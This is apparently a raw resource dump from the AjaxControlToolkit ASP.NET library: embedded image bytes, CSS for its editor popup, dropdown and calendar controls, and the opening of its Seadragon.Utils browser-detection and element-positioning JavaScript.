�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	�IDATxڬ�kl\��g�m{c��x��N��I &�@K�H�"!@m!%��T���Z�4��	���j��hi� �G(N@�R� �$�c�ر�Ǯ���~�]�zcҪ�JGs�j���sf��R�*Q�3�%�*�晔r��F������SȪ�U�?�W��뺪��J)࿃	A�m��B0
� ­a
����QU���G� ��t��-[b۶mkt]���Oo��v������&S���FFFT-}Y΄@��;ҏ>����lv�p*�#g�U�Yc�ky��O��߳gϱ�8!�������֬Y�0L��<�~�Gno�[?}�7L�g
�&c��$�H���5��w�����'g�G�{�����3���@�:v옒RbÆ
W`��9�1�|�͛n��k���y�'�F���/�|�+�A����Ι��1kI�L�^}~�-w~��˯��{�����z��wզM����y�؅Cc�����Ѷ�{=x��O����3��׬�"iZ2���$��A��3g�&{�/^�-럺�h�mw��'��?��G�هj���e5/g��"��d�+��g�]sǷn���{�x�l�
�Xd�~�a���I�1�͟�J	��3���pS��n\��6~��?=�jwww/�B�%'Hp@�y�q�£0;;;o=���'��z��"��)J�1N�H	�LS�4i�R������"L�r�=�g�ckWW�pww��P"���۶�����/l,}�m��L��l}T�-M�����&�3�CV���H�;>q�3@
��&I�t��|���wnQv]j�Ν;G�{�#A"{!�+9��f�����v��op.�D��lJ�[�;�7޹��Д���œo�p�RB�ўѴ�W��=Q������md�ʕ+��
%�{�gB��|�������X*b{^ڰ1u27�&CB�9@:ڳI<vw�PP�S�̴��`$\�S��,MgL��8o^ڸ���sqooo)��Հ0ښ5k�^nW�%UB�3�3	�D�B�>�d2
b:�aq�R��&m.�ISQӀ�u8#�8cB)F�E�B�����,��0T�������|��wN���D�1�k�R�l��좔��>�dH��)_)�U�34�#�+IH�A��_)+w���k[b�i�0��>����|ߏs�l��)x�ʝ�LʵY�6.��NG(���l^.������8�)��qGFf���6:b��}1�r�9*��\���_�L�QTٖª�/��R���\R"�(�.c���q��[��wT���]ͳg��d/�^�m��欣��1ζ70��n�<E�	�H�Q.����?/g�\.7�c��h�Y4n-���[�1��F��T[��̮�"�p�/>�S��}��%_��%���h��D�{�B�[h�Z@���Mx��O�X�5��ZYEF1�i��%�-wqcF���wAJ���?��_�I�x�I�V�X��X,�5iғ�\.W
/v�"l!y�ԩ��
��ud$8
��"���Ҭĩ)E}gg˒fJ�X�n���θ�HO��b��xG�s674666L��
� ��>|x��}�[ܞ���d$@zL�R'?����=�;~zO�Q�HL�;�CG��|��P†d$@Ɇ83K�*
��R�Z��K�p���<�����ٻ�
HP^	��Il�0�t=�n�Q����{b�u#�eB�>tw�)�Q�@jy+��(�����h��q�����;t��	�o?����T�՗��d�̴A�A	J$#k�Ls@�C
���.4�5a ���ۗ>:>===���V���a���{Þq������mr�D�\�J�ۀ��PNʝd�"/���� �I('�ep[!M��ޙ������y3�ڗ$5�j޸f�����>����}#�]��6e�s��q	�`D�p�l!��b�y��?;��ѩ~�q>�`f���Z
�
H)�gepp��r��o���O>���˛V[t7��O�P\\��Hp�*
ì�ʶzo��3?����g��3���
<.�ĜުVz]]]B��ɓ�������oioM\��u���R�I/�`�BI����P�L�8�ro�'��3C!��+�P�¬Z�
RJ�%�lhq	�X:�\�[ �yCC��^7Ǧmg��SB���2'��"(ef1�d>�ҥK����h�B��H੪YDT�RJ�`0?��*!�]H��$��L&3On��Z9���2#x�C�V���8w�Uw�h��I�RW�r۶��U0=�4k��_#oEXI.2Ʋ�y a�9q`�V����M��`8�s�Zg�8�j��\����E_���(0w��	<IEND�B`�~h( �����������������������������������������������������3��3����̙�̙�����������������������3��3����̙�̙�������������������������������������������������������f�f���������������������������������f�f�������������������������������������������������������������������������������f�f������������������̙�̙����������f�f������������������̙�̙��������������������������������������������������������f�3f�3����������������������������f�3f�3���������������������ꪋ駇袀�d�j�i�a�Y�Q�J�yC�u<�q7�m5�i3�e1ꪋ����j����l��|��s��k��c��]��Y�T����xK�rF�e1ꪋ�j������l��{��s��k��d��]��Y�S�ϼ����qF�e1ꪋ駇�i�ϼ�_�i�a�Y�Q�J�yC�u<��m5�i3�e16   �& h�( @ �������{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�{bN�~eQ�~eQ�~eQ�~eQ�}dP���|�������eͽ�Rͽ���������������������������������������������������Ǿ������q_��r`�y�ò��ͽ�&��������������������������������������������������������������;����v��q_�����ͽ� ��������������������������������������������������������������̼�������uc�ij�iͽ������������������������������������������������������������������������Ļ��xg����ͽ��������������������������������������������������������������������������������}����������������������������������������������������������������������������ͽ��fS�����������������������������������������������������������������������������~eQ����������������������������������������������������������������������������˹��~eQ���������������������������������������������������������������������������������~eQ�����������������������������������������������������������������������������������~eQ����������������������������������������������������������������������������������{bN��������������������������������������������������������������������������������������{bN����������������������������������������������������������������������������������������{bN���������������������������������������������������������������������������������������{bN������������������������������������������������������������������������������������������{bN�������������������������������������������������������������������������������������������{bN��������������������������������������������������������������������������������������������{bN������������������������������������������������������������������������������������������������������?�����������������������������������������(  ��}�{bN�{bN�{bN�{bN�{bN�{bN�|cPѧ���������fͽ�����������������������Թ������堌}��������ͽ�������������������������������������ꪘ������˿�Lͽ���������������������������������������¹蚆w󼷵�ͽ����������������������������������������������}dQ�}dQ�����������������������������������������������|cO�}dQ�����������������������������������������������|cO�}dQ������������������������������������������������lX��������������������������������������������������lX����
���������������������������������������������������������������������������������������6   �& h�( @ �����lZ��jX��hV��gT�~dR�|cP�zbO�y`M�w^J�v]I�t[G�sYE�qXD�pVB�oT@�nS?�mR=�kQ=�jO;�iN9�hM8�cI3�cH3������������Ǿ��Ļ��¹�ѿ��м��λ��̸��ʶ��ɴ��Dz��ư��ĭ��ì������������������������������cH4�������������������������������������������������������������jO;��������������������������������������������������������������kR=�������������������������������p^��jY�~fS�y`M�t[H�kQ<�kQ<�kQ<�kQ<�kQ<�kQ<�lR>�hN9�eK6�cH3�cH3��S'����������������������������������������������������������������������������������cH3��L ��f4����������������������P+�廦�������������������������������������������������������������eJ5��P%��`/��h4�ֆ4���������������������U,��m@�꾫����ª���������������������������������������������������������kQ<��S%��oB��wE��k6��a2��k6��a2��a2��[.��c3��o7��vE����ê�����������������������������������������������������������kQ<��lA��uI��e��`��e��`��`��_��s:���Y������k�Ӯ�����������������������������������������������������������kQ<��L �e:��Y��S��Y��S��S��V��]������k��ҿ�ª�������������������������������������������������������������kQ<����������������wF��f��������ů�������������������������������������������������������������nU@����������������������z������������ɴ��������������������������������������������������������������sXD�������������������������������������ͺ��ɴ��ɴ��Ȳ��ů��«����������������������������������������{���u������������������������������������������������������������������������Ǿ��iW�������������������������������������������������������������������������lZ�ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y �ёr���������������������������������������������������}���z���w���t���q���o��m��j��h��e��Y �ёr���������������������������������������������������~���z���w���t���q���n��m��j��h��e��Y �ёr���������������������������������������������������}���z���w���u���q���o��l��j��h��e��Y �ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ������������������������������������������������������������������(  ����cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5����������������������Ȼ��ó�ۿ��ۻ��ϴ��cI5��U)������������������������������ϴ��cI5��Q#��f2X���������mG����������~fS�t[H�pVB�lR>�hN9�eK6�cH3�cH3��V)z�mG�ʏg�����mG��g3�출����������������������������kQ<��U(�pE��mG��mG��|F���d��mG�����������������������������nU@��R(	������S��~��Ͼ������������������������������sXD�Ȳ������밐��������Ž���������������������������{���u�̶���������������������������������������cI5�ꪋ�ꪋ�ꪋ�饄��z��n��b��V��}J��v@��r9��b/�ꪋ��¢���������������������������}���w��e��e1�ꪋ�ꪋ�ꪋ�ꪋ�ꦆ����v��l��b��X��v>��r9�������@���������������6   �& h�( @ �����������������������������������������������������������������������������������������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ�ġ���ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������ǰ��ǰ��ǰ��ǰ�ġ���ġ���ǰ��ǰ��ǰ��ǰ��������������������������������������������������������������������ǰ��ǰ��ǰ�ġ����ǰ��ġ���ǰ��ǰ��ǰ������������������������������333��������������������������������������ǰ��ǰ�ġ����ǰ��ǰ��ǰ��ġ���ǰ��ǰ����������������������������������"""���������������������������������ǰ��ǰ���ǰ��ǰ��ǰ��ǰ��ǰ���ǰ��ǰ������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������"""������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ�����������������������333�www���������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��������������������������"""���www������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��������������������������������������������������������������������������������������������������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������ǰ��ǰ���ǰ��ǰ��ǰ��ǰ��ǰ���ǰ��ǰ��������������������������333���������������������������������������ǰ��ǰ�ġ����ǰ��ǰ��ǰ��ġ���ǰ��ǰ������������������������������������������������������������������ǰ��ǰ��ǰ�ġ����ǰ��ġ���ǰ��ǰ��ǰ���������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ�ġ���ġ���ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ�ġ���ǰ��ǰ��ǰ��ǰ��ǰ������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������������������������������������������������������������������������������������������������������������������������(  ��������������������������������������������������������������������ǰ��ǰ��ǰ�ġ���ǰ��ǰ���������������������������������ǰ��ǰ�ġ���ġ���ǰ���������������������������������ǰ��ǰ���ǰ���ǰ���������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ�������������������������������������������������������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������ǰ��ǰ��ǰ��ǰ��ǰ��ǰ���������������������������������ǰ��ǰ���ǰ���ǰ������������������������������ǰ��ǰ�ġ���ġ���ǰ���������������������������������ǰ��ǰ��ǰ�ġ���ǰ��ǰ����������������������������������������������������������������������������������6   �& h�( @ �����lZ��jX��hV��gT�~dR�|cP�zbO�y`M�w^J�v]I�t[G�sYE�qXD�pVB�oT@�nS?�mR=�kQ=�jO;�iN9�hM8�gL8�fK6�eJ5�dI4�cI3�cH3������������Ǿ��Ļ��¹�ѿ��м��λ��̸��ʶ��ɴ��Dz��ư��ĭ��ì����������������������������������������������cH4����������������������������������������������������������������������ξ�����eI5���������������������������������������������������������������������������fK6��������������������������������������������������������������������������gM8������������������������������������������������������������������������hN:����������������������������������i?.���������������������������������������jO;�����������������������������������ɉo�i?.�����������������������������������kR=������������������������������������������������������������������������������mT?���������������������������������������������������������������������ë��oUA��������������������������������������i?.��������������������������������������Į��qWC����i?.�������������������������������������������ɉo�i?.����������������������������������DZ��sYE����ɉo�i?.�����������������������������������������������������������������������������ɳ��u[H�����������������������������������������i?.��������������������������������������������˶��w^J����i?.����������������������������ɉo�i?.���������������������������������������ͺ��y`M����ɉo�i?.��������i?.������������������������������������������������������ϼ��{bO�����������������ɉo�i?.���������������������������������������������������������~dR��������������������������������������������������������������������������ú��gT���������������������������������������������������������������������������������Ǿ��iW�����������������������������������������������������������������������������������lZ�ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y �ёr���������������������������������������������������}���z���w���t���q���o��m��j��h��f��e��e��e��e��Y �ёr���������������������������������������������������~���z���w���t���q���n��m��j��h��f��e��e��e��e��Y �ёr���������������������������������������������������}���z���w���u���q���o��l��j��h��g��e��e��e��e��Y �ёr�ёr�ёr�Ќk�Іa��~U��uI��m=��d1��]'��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ��Y ���������������������������������������������������(  ����cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5�cI5����������������������Ȼ��ó�ۿ��ۻ��ۻ��ϴ��cI5��������������������������������ϴ��cI5������HE�����������������������HE�����������ϴ��cI5�æ��������������������������æ���������������й��cI5��������������HE�����������������������cI5������HE�����æ������������������������������cI5�æ��������������������������������������������cI5��������������������������������������������cI5�ꪋ�ꪋ�ꪋ�饄��z��n��b��V��}J��v@��r9��r9��b/�ꪋ��¢���������������������������}���w���j��e��e1�ꪋ�ꪋ�ꪋ�ꪋ�ꦆ����v��l��b��X��{F��v>��r9���������� � �����������������>body {margin:0;padding:0px;color:#404040;background-color:#DFDFDF;}
html, body { border-width: 0px;}

div.ajax__htmleditor_attachedpopup_default
{
	padding: 5px; border-color:#B0B0B0; border-style: solid; border-width: 1px; font-family:Arial;font-size:11px;
}

.ajax__htmleditor_attachedpopup_default label,button, div, input, select, td, fieldset { font-family: Tahoma; font-size: 11px; }
.ajax__htmleditor_attachedpopup_default input { height: 14px; }
.ajax__htmleditor_attachedpopup_default img {border:none;margin:0;padding:0;}

.ajax__htmleditor_attachedpopup_default div.ajax__htmleditor_popup_boxbutton
{
	background-color:#C2C2C2; margin:0; border-width: 0px; padding:0px; border-width: 0px; padding: 1px;
}
.ajax__htmleditor_attachedpopup_default div.ajax__htmleditor_popup_boxbutton_hover
{
	cursor:pointer;background-color:#3C8AFF;
}
.ajax__htmleditor_attachedpopup_default div.ajax__htmleditor_popup_boxbutton_mousedown
{
}
.ajax__htmleditor_attachedpopup_default div.ajax__htmleditor_popup_boxbutton table
{
	border-width: 0px; width: 100%;
}
.ajax__htmleditor_attachedpopup_default td.ajax__htmleditor_popup_bgibutton
{
	border-width: 0px; overflow:hidden; font-weight:bold; vertical-align:middle; text-align: center; height: 19px; width: 100%;
	background: url(<%=WebResource("AjaxControlToolkit.HTMLEditor.Images.BgiButton.gif")%>) repeat-x;
}
.ajax__htmleditor_attachedpopup_default td.ajax__htmleditor_popup_bgibutton_hover
{
	cursor:pointer;
}
.ajax__htmleditor_attachedpopup_default td.ajax__htmleditor_popup_bgibutton_mousedown
{
}
.ajax__htmleditor_attachedpopup_default div.ajax__htmleditor_popup_confirmbutton
{
	float:right; margin-left: 5px; margin-top:5px; width: 60px;
}
.ajax__htmleditor_attachedpopup_default td.ajax__htmleditor_popup_bgibutton_hover span
{
	cursor:pointer;
}
~.ajax__dropdown_arrow {position:absolute;height:100%;overflow:hidden;}
.ajax__dropdown_panel {background:white;border:1px solid #868686;}
.ajax__dropdown_frame {border:1px solid #2353B2;overflow:hidden;font-size:1px;text-align:right;position:absolute;cursor:pointer;}
.ajax__dropdown_frame_line {overflow:hidden;font-size:1px;position:absolute;cursor:pointer;}
.ajax__dropdown_arrow_image {background:url(<%=WebResource("AjaxControlToolkit.DropDown.drop-arrow.gif")%>) no-repeat 50% 50%;}
.ajax__dropdown_arrow_wrapper {position:absolute;top:50%;left:50%;}
.ajax__dropdown_arrow_wrapper img {position:relative;top:-50%;left:-50%;}
y.ajax__calendar_container {padding:4px;cursor:default;width:170px;font-size:11px;text-align:center;font-family:tahoma,verdana,helvetica;}
.ajax__calendar_body {height:139px;width:170px;position:relative;overflow:hidden;margin:auto;}
.ajax__calendar_days, .ajax__calendar_months, .ajax__calendar_years {top:0px;left:0px;height:139px;width:170px;position:absolute;text-align:center;margin:auto;}
.ajax__calendar_container TABLE {padding:0px;margin:0px;font-size:11px;}
.ajax__calendar_container TD {padding:0px;margin:0px;font-size:11px;}
.ajax__calendar_header {height:20px;width:100%;}
.ajax__calendar_prev {cursor:pointer;width:15px;height:15px;float:left;background-repeat:no-repeat;background-position:50% 50%;background-image:url(<%=WebResource("AjaxControlToolkit.Calendar.arrow-left.gif")%>);}
.ajax__calendar_next {cursor:pointer;width:15px;height:15px;float:right;background-repeat:no-repeat;background-position:50% 50%;background-image:url(<%=WebResource("AjaxControlToolkit.Calendar.arrow-right.gif")%>);}
.ajax__calendar_title {cursor:pointer;font-weight:bold; margin-left:15px; margin-right:15px;}
.ajax__calendar_footer {height:15px;}
.ajax__calendar_today {cursor:pointer;padding-top:3px;}
.ajax__calendar_dayname {height:17px;width:17px;text-align:right;padding:0 2px;}
.ajax__calendar_day {height:17px;width:18px;text-align:right;padding:0 2px;cursor:pointer;}
.ajax__calendar_month {height:44px;width:40px;text-align:center;cursor:pointer;overflow:hidden;}
.ajax__calendar_year {height:44px;width:40px;text-align:center;cursor:pointer;overflow:hidden;}

.ajax__calendar .ajax__calendar_container {border:1px solid #646464;background-color:#ffffff;color:#000000;}
.ajax__calendar .ajax__calendar_footer {border-top:1px solid #f5f5f5;}
.ajax__calendar .ajax__calendar_dayname {border-bottom:1px solid #f5f5f5;}
.ajax__calendar .ajax__calendar_day {border:1px solid #ffffff;}
.ajax__calendar .ajax__calendar_month {border:1px solid #ffffff;}
.ajax__calendar .ajax__calendar_year {border:1px solid #ffffff;}

.ajax__calendar .ajax__calendar_active .ajax__calendar_day {background-color:#edf9ff;border-color:#0066cc;color:#0066cc;}
.ajax__calendar .ajax__calendar_active .ajax__calendar_month {background-color:#edf9ff;border-color:#0066cc;color:#0066cc;}
.ajax__calendar .ajax__calendar_active .ajax__calendar_year {background-color:#edf9ff;border-color:#0066cc;color:#0066cc;}

.ajax__calendar .ajax__calendar_other .ajax__calendar_day {background-color:#ffffff;border-color:#ffffff;color:#646464;}
.ajax__calendar .ajax__calendar_other .ajax__calendar_year {background-color:#ffffff;border-color:#ffffff;color:#646464;}

.ajax__calendar .ajax__calendar_hover .ajax__calendar_day {background-color:#edf9ff;border-color:#daf2fc;color:#0066cc;}
.ajax__calendar .ajax__calendar_hover .ajax__calendar_month {background-color:#edf9ff;border-color:#daf2fc;color:#0066cc;}
.ajax__calendar .ajax__calendar_hover .ajax__calendar_year {background-color:#edf9ff;border-color:#daf2fc;color:#0066cc;}

.ajax__calendar .ajax__calendar_hover .ajax__calendar_title {color:#0066cc;}
.ajax__calendar .ajax__calendar_hover .ajax__calendar_today {color:#0066cc;}
`GIF89a	�d��t�E��Mx����!�,	%HJ����k@UW�u�h\��}����HZ��3N;LGIF89a
������!�,
������QZ����q�ǀa�ESe�nX;�GIF89a����������Ny����������������������333���!�
,|��I��A��{��'z�hn�F�'�
+�1t]�M�a�?�Kl	�FWnK@�h,0�Y�g.�XL��p������h��p8(A���<��"�6| �S�a@� YY?���Z����� �����;�GIF89a����:����������������������������������������������������������������������������������������������������������������������������)^����!�?,���pH,�
��l:�M�GT2Y���U8B�Z�p�'.��'V��n�}�p��j�|���kB-8�>�>���B16	::��}}�B9;;�;�z>����<����B/	�
		
���B
�>B!""!�B�}�yBS&)�/��B �+}yb�h�"�	$H�`b�2�8D`F,VP!��
h�qG�8nبA�1`Q�F�� Pt G��+
��(]�+��B��H�;GIF89a�?������������������������������������������������������������������������������������������������������d������t�E�����Mx�������������!�?,���pH,��F�l:�M!%�Y���U(zt�x~J��z�n���G���u�n3�}9~��~B74�965�4569��B='33�25�352����>*1�51�����1B�6�7��7�9�B,.�	�ǾB0 �
־$$B -�5��9
B!�9+�9�"#�		�a�/$`X���8|���;,P���&x0HѐB�4 �GX0`�<l��0�"
�\��?h��@�*@�*/��h�;�GIF89a�b����������������������������������@8@����������������`�����@@@��������������� ( ������0P���������������������@h������0X���0X�vvu��333@`�p��UTTPx� H���������8?7������P�Ќ�����PHP`e^��̿�����kpj�������   ���0`��������������������!�b,��b������	.\������Z"^������H5X]������+`������_������])a������[NQ?<E�;%I�ɂ`TJL&0Y0�%@���a1:�UY�2$=��a[[�4�eK�-�|�P�*8�@�H�#�BCE�%8�����Ȳr�K(9��h��Pj٩%KO�"2�� ABh	�4�,O�He��-.�@��'
8$� a��.X@|�ҡ��^N(`xp�,3� 0ra�X(���]`@��_����(f�A�_?֋@�,��5�-��M;;�GIF89a������������������������������������������������������������������������������������������������������������������������������������������ޓ�����������������[��a��p��l������������������)^�3f�4g�5g�<n�@p�Mz�c��m��n��n�����������װ������������������!�m,��m������������ #&'������$+.0������*/4������478������0<;EUUMMUKG�ɾ�49>�>�fc`UZI�т=
?�?�TPUXj���@�@�R[Xdl��2�	�_�\�rfJ��1pA„
�=qR�J�	$D�AP�,`�b��p�@�„	�H9��4#B̭�aM�P3Ea\�dQ�&
"B�� H��,>�@†��(i��p�Bʼn%�8! ƌIf�Q��4b�p!�� .f�-�C�<x�{���4fj1���H��b�Ÿ�〿�Q#Ԝ��ׁ;GIF89a����������������������������������������������333���!�,�`$�di����lۊ�+��l��J�|�㑘
B,�@���h:���0'8	.*���%W�0$9(�Z=P�1N����u�t��G~0
�
y��0�����0��h��0
�����0	�����0��'��!;-GIF89a�3E���E����)d��E��E��@����O|pd?���r/�z1���rtw��\���¾T����x����}M��v����ύf��S����~zd��Mx�������ϐ��f����ŝ�������D��?�����������{|E��V�t���!�3,J��p(\0�H�ddA
C)��B~d�%���3�
R;+�VF�:`���C��8''%N3 /�3�3A;�GIF89a�/-1/,998>?@GG2LH1YU5zW{Xqm=YYOSRS[ZQYZUhhhz{e{|d|}aqqq�]�b�d�l�n�o�p�s�x�x�s'�v#��,����������7��1�� ��G��P��Q��T��c��e��i��`��g��}е3Ժ:�	����ūCɰSϷVӸPļiʳaϷa�8��<����� ��!��-��9��:��?��_��X��Z��h��i���x��D��D��F��O��T��Q��T��`��a��b��w��~��f��o��o��u��{����������؀�ޕ�߁��������������������!��,��	H��A�;84䌔	2�#�FD�=�Lh���'̐@#��:�D�e�(^�P�`��!/:�3g�1�dIQȚ:o�H��'B��M�*�(Yb��@t�#�AT���A`�8c�hA0@�#Dp�p��
�1a�d���.�7J�`�C�2d���
��h0 ;IType.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');
Seadragon.Utils = function() {

    // Enumerations

    var Browser = {
        UNKNOWN: 0,
        IE: 1,
        FIREFOX: 2,
        SAFARI: 3,
        CHROME: 4,
        OPERA: 5
    };

    Seadragon.Browser = Browser;

    // Fields

    var self = this;

    var arrActiveX = ["Msxml2.XMLHTTP", "Msxml3.XMLHTTP", "Microsoft.XMLHTTP"];
    var fileFormats = {
        "bmp": false,
        "jpeg": true,
        "jpg": true,
        "png": true,
        "tif": false,
        "wdp": false
    };

    var browser = Browser.UNKNOWN;
    var browserVersion = 0;
    var badAlphaBrowser = false;    // updated in constructor

    var urlParams = {};

    // Constructor

    (function() {

        // Browser detect

        var app = navigator.appName;
        var ver = navigator.appVersion;
        var ua = navigator.userAgent;

        if (app == "Microsoft Internet Explorer" &&
                !!window.attachEvent && !!window.ActiveXObject) {

            var ieOffset = ua.indexOf("MSIE");
            browser = Browser.IE;
            browserVersion = parseFloat(
                    ua.substring(ieOffset + 5, ua.indexOf(";", ieOffset)));

        } else if (app == "Netscape" && !!window.addEventListener) {

            var ffOffset = ua.indexOf("Firefox");
            var saOffset = ua.indexOf("Safari");
            var chOffset = ua.indexOf("Chrome");

            if (ffOffset >= 0) {
                browser = Browser.FIREFOX;
                browserVersion = parseFloat(ua.substring(ffOffset + 8));
            } else if (saOffset >= 0) {
                var slash = ua.substring(0, saOffset).lastIndexOf("/");
                browser = (chOffset >= 0) ? Browser.CHROME : Browser.SAFARI;
                browserVersion = parseFloat(ua.substring(slash + 1, saOffset));
            }

        } else if (app == "Opera" && !!window.opera && !!window.attachEvent) {

            browser = Browser.OPERA;
            browserVersion = parseFloat(ver);

        }

        // Url parameters

        var query = window.location.search.substring(1);    // ignore '?'
        var parts = query.split('&');

        for (var i = 0; i < parts.length; i++) {
            var part = parts[i];
            var sep = part.indexOf('=');

            if (sep > 0) {
                urlParams[part.substring(0, sep)] =
                        decodeURIComponent(part.substring(sep + 1));
            }
        }

        // Browser behaviors

        // update: chrome 2 no longer has this problem!
        badAlphaBrowser = (browser == Browser.IE ||
                (browser == Browser.CHROME && browserVersion < 2));

    })();

    // Helpers

    function getOffsetParent(elmt, isFixed) {
        // IE and Opera "fixed" position elements don't have offset parents.
        // regardless, if it's fixed, its offset parent is the body.
        if (isFixed && elmt != document.body) {
            return document.body;
        } else {
            return elmt.offsetParent;
        }
    }

    // Methods

    this.getBrowser = function() {
        return browser;
    };

    this.getBrowserVersion = function() {
        return browserVersion;
    };

    this.getElement = function(elmt) {
        if (typeof (elmt) == "string") {
            elmt = document.getElementById(elmt);
        }

        return elmt;
    };

    this.getElementPosition = function(elmt) {
        var elmt = self.getElement(elmt);
        var result = new Seadragon.Point();

        // technique from:
        // http://www.quirksmode.org/js/findpos.html
        // with special check for "fixed" elements.

        var isFixed = self.getElementStyle(elmt).position == "fixed";
        var offsetParent = getOffsetParent(elmt, isFixed);

        while (offsetParent) {
            result.x += elmt.offsetLeft;
            result.y += elmt.offsetTop;

            if (isFixed) {
                result = result.plus(self.getPageScroll());
            }

            elmt = offsetParent;
            isFixed = self.getElementStyle(elmt).position == "fixed";
            offsetParent = getOffsetParent(elmt, isFixed);
        }

        return result;
    };

    this.getElementSize = function(elmt) {
        var elmt = self.getElement(elmt);
        return new Seadragon.Point(elmt.clientWidth, elmt.clientHeight);
    };

    this.getElementStyle = function(elmt) {
        var elmt = self.getElement(elmt);

        if (elmt.currentStyle) {
            return elmt.currentStyle;
        } else if (window.getComputedStyle) {
            return window.getComputedStyle(elmt, "");
        } else {
            Seadragon.Debug.fail("Unknown element style, no known technique.");
        }
    };

    this.getEvent = function(event) {
        return event ? event : window.event;
    };

    this.getMousePosition = function(event) {
        var event = self.getEvent(event);
        var result = new Seadragon.Point();

        // technique from:
        // http://www.quirksmode.org/js/events_properties.html

        if (typeof (event.pageX) == "number") {
            result.x = event.pageX;
            result.y = event.pageY;
        } else if (typeof (event.clientX) == "number") {
            result.x = event.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
            result.y = event.clientY + document.body.scrollTop + document.documentElement.scrollTop;
        } else {
            Seadragon.Debug.fail("Unknown event mouse position, no known technique.");
        }

        return result;
    };

    this.getPageScroll = function() {
        var result = new Seadragon.Point();
        var docElmt = document.documentElement || {};
        var body = document.body || {};

        // technique from:
        // http://www.howtocreate.co.uk/tutorials/javascript/browserwindow

        if (typeof (window.pageXOffset) == "number") {
            // most browsers
            result.x = window.pageXOffset;
            result.y = window.pageYOffset;
        } else if (body.scrollLeft || body.scrollTop) {
            // W3C spec, IE6+ in quirks mode
            result.x = body.scrollLeft;
            result.y = body.scrollTop;
        } else if (docElmt.scrollLeft || docElmt.scrollTop) {
            // IE6+ in standards mode
            result.x = docElmt.scrollLeft;
            result.y = docElmt.scrollTop;
        }

